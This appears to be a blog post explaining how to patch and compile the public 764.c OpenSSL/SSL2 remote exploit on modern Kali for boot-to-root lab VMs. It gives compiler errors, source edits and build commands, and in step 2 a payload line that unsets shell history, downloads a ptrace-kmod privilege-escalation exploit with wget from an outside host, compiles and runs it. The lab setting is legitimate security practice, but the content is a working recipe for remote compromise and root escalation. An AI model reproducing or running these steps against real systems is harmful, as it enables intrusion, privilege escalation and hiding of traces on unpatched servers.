One of the popular boot-to-root VMs has an exploit (764.c) which doesn't compile so well in modern Kali, producing the errors:

764d.c:643:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
764d.c:651:2: error: unknown type name ‘RC4_KEY’
764d.c:652:2: error: unknown type name ‘RC4_KEY’
764d.c:844:7: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
764d.c:845:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
764d.c:882:2: error: unknown type name ‘MD5_CTX’
764d.c:887:23: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
764d.c:977:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
764d.c:1069:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
764d.c:1106:2: error: unknown type name ‘MD5_CTX’
764d.c:1111:42: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
764d.c:1127:23: error: ‘RC4_KEY’ undeclared (first use in this function)
764d.c:1127:31: error: expected expression before ‘)’ token
764d.c:1131:32: error: expected expression before ‘)’ token
764d.c:1146:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
764d.c:1158:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
764d.c:1171:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)

Luckily there was a blog post written in 2014 by @paulwebsec explaining how to update the exploit, which fixes some of them but still leaves you with:

764b.c:645:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
764b.c:847:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
764b.c:979:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
764b.c:1071:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
764b.c:1148:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
764b.c:1160:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
764b.c:1173:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)

On Kali (and likely other Debian based distros) you can work around this by simply doing an "apt-get install libssl1.0-dev" to roll back your libssl-dev version, but why don't we get this compiling with the modern lib...

Then changes to make (including Paul's) are:

1. Add this below line 24 (the last #include):

#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16

2. Replace "COMMAND2" on (now) line 672:

#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"

3. Add "const" to the beginning of (now) line 970:

const unsigned char *p, *end;

4. Replace the "if" on (now) line 1078 with:

if (EVP_PKEY_get1_RSA(pkey) == NULL) {

5. Replace the "encrypted_key_length" code on (now) line 1084 with:

encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);

6. Install "libssl-dev" (if not already installed):

apt-get install libssl-dev

7. Compile!

gcc -o 764 764.c -lcrypto